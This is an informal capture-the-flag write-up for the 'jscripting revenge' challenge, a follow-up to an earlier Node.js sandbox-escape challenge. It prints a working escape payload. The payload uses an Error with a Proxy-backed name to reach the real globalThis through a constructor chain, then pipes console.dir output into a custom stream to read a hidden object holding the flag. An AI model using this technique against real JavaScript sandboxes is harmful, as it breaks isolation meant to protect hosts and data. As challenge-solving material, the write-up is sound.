jscripting revenge
huge huge cheese
problem
please read jscripting writeup before this
same as jscripting but there is some weird stuff
solution
this time, there is no changing globalThis to have globalThis.module.require = require
or whatever. however, the top of the worker.js file had some bytecode run first
const { workerData, parentPort } = require('worker_threads');
require("./worker_globals.js");
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
runBytecodeFile("./utils.jsc")();
i don’t exactly know what it did since it was javascript bytecode. basically, i blackboxed this
we cant run our exploit from before
we can see what keys globalThis
still has left by using Object.keys(globalThis)
we have a secureRequire
. hmmmmmm
so i tried running secureRequire
with all of the module names that were whitelisted from the previous challenge, and all of them are allowed except for util
.
essentially, the whitelist was:
const whitelist = [
"crypto",
"path",
"buffer",
"worker_threads",
"stream",
"string_decoder",
"console",
"perf_hooks"
];
one interesting thing i noticed was that the javascript console let me see the proxy object even though i cant read it from js code
i took a look at the console
module in node.js docs to try to find a similar thing to just use debug functions on the flag
anyways, we have console.dir
hey, our old friend util.inspect
! however, it prints this to stdout, which we cant read.
the solution is to create our own Console object and then use .dir
on it to get it to a stream we control.
we can do this because secureRequire('stream')
is allowed, so we can just create streams as we want
here is the idea:
let q = e.secureRequire;
let total = "";
let readable = q("stream").Readable({read(size) {}});
let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
readable.pipe(writable);
readable.on('data', chunk => {
total += chunk.toString();
});
new q("console").Console(writable).dir(e.storage);
return total;
here, e
is the globalThis
object.
putting this into our payload template:
(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
let q = e.secureRequire;
let total = "";
let readable = q("stream").Readable({read(size) {}});
let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
readable.pipe(writable);
readable.on('data', chunk => { total += chunk.toString();});
new q("console").Console(writable).dir(e.storage);
return [...total];
}})()
and we get the flag
i think the intended was to rev the jsc
file or whatever but idk how to do that so oh well